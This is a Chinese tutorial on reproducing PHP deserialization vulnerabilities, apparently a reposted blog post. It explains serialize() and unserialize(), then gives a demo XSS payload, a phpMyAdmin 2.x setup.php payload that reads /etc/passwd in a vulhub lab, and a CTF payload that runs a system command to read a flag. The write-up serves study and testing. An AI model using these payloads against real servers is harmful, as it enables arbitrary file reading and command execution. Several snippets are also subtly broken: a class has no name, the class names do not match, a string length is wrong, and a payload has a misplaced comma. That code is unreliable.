PHP反序列化漏洞复现

一、原理

PHP序列化与反序列化介绍

1、什么是序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
通俗的说,就是将数据转化成一种可逆的数据结构。
反序列化(UnSerialization)将序列化的过程逆向就叫做反序列化。

举例:
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市?这时候一般都会把它拆卸成板子,再装到箱子里面,然后就可以快递出去,这个过程就类似我们的序列化的过程(将数据对象的状态信息转化为可以存储或者传输的格式)。当买家收到货后,就需要自己把这些板子组装成桌子,这个过程就类似反序列的过程(转化成当初的数据对象)。

2、序列化的目的
方便数据的传输和存储。

3、常见的序列化格式

  • 二进制格式
  • 字节数组
  • json字符串
  • xml字符串

序列化与反序列化PHP代码介绍

1、PHP serialize() 序列化函数
定义介绍见链接:
https://www.w3cschool.cn/php/php-serialize_info.html
2、代码演示

<?php
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
?>

  • a(array):number;
    a代表数组,number代表数组个数

  • s(string):number:value;
    s代表字符串,number代表字符串长度,value代表字符串的值

  • i(int):number;
    i代表整型,number代表整数长度

  • O(object):number:name;
    O代表对象,name代表对象名称,number代表对象个数

3、PHP unserialize() 反序列化函数
定义介绍见链接:
https://www.cnblogs.com/junyi-bk/p/11631685.html
4、代码演示

<?php
//序列化
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
//反序列化
$b = unserialize($a);
//var_dump输出变量信息
var_dump($b);
?>

二、PHP反序列化demo复现

1、服务器demo.php写入php代码,如下:

<?php
$a = $_GET['test'];
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>

2、创建payload

class a{public $target='<script>alert(1)</script>';}
$a = serialize(new A);
echo $a
//O:1:"b":1:{s:6:"target";s:25:"<script>alert(1)</script>";}

3、访问demo.php?test=O:1:"b":1:{s:6:"target";s:25:"";}

三、WooYun-2016-199433漏洞复现

漏洞描述

phpmyadmin scripts/setup.php 页面存在反序列化漏洞,phpmyadmin 2.x版本中存在一处反序列化漏洞,攻击者可以读取任意文件。

漏洞环境搭建

1、进入vulhub-master的phpmyadmin/WooYun-2016-199433目录下
2、docker启动环境

dcoker-compose up -d

漏洞复现

1、浏览器访问http://192.168.2.147:8080/scripts/setup.php

2、输入payload抓包漏洞复现,读取任意文件

//payload
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

四、[网鼎杯2020朱雀组]PHP反序列化

1、抓包发现可以传递参数和函数

2、可以用file_get_contents函数读取index.php网页源代码

//读取flag的pyaload
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";}

详情见参考链接:
https://www.cnblogs.com/vege/p/12907941.html

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

参考链接

cnblogs-实战经验丨PHP反序列化漏洞总结
cnblogs-php 序列化和反序列化的作用及使用

原文地址:https://www.cnblogs.com/renhaoblog/p/12915884.html